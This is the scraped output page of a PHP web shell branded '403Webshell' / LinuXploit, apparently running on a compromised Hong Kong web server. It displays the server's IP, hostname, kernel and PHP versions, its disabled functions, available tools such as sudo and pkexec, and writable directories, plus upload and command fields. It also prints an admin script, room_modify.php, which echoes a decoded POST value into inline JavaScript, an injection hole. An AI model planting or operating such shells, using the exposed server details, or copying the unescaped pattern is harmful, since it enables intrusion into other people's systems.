403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/hkosl.com/innoutstorage/webadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hkosl.com/innoutstorage/webadmin/room_modify.php
<?php
	require_once('check_login.php');

	$code_list = "";

	if(!empty($_POST["room_id"])){
		foreach($_POST["room_id"] as $key => $room_id){
			$typeid = "STORAGE";
			
			//update record
			$sql = "update room set code = ?, status = ?, master_room_id = ?, typeid = ?, lastupby = ?, lastupdate = ? where id = ?";
			$parameters = array($_POST["code"][$key], $_POST["room_status"][$key], $_POST["master_room_id"][$key], $typeid, $_SESSION['cmsloginid'], $nowdate, $room_id);
			bind_pdo($sql, $parameters);

            activity_log('room_modify.php', 'update query', $input = array('sql' => $sql, 'parameters' => $parameters), $data_before = array(), $data_after = array(), $step = 1);

			$code_list .= $_POST["code"][$key].", ";
		}

		$code_list = substr_replace($code_list ,"",-2);


		update_master_room_total_number();

		echo "<script>alert('倉庫單位: ".$code_list." 已更新。'); window.location.href='room_index.php?".htmlspecialchars_decode ($_POST["last_url_parameter"])."';</script>";
	}else{
		echo "<script>alert('請選擇要更新的倉庫單位。'); window.location.href='room_index.php?".htmlspecialchars_decode ($_POST["last_url_parameter"])."';</script>";
	}




Youez - 2016 - github.com/yon3zu
LinuXploit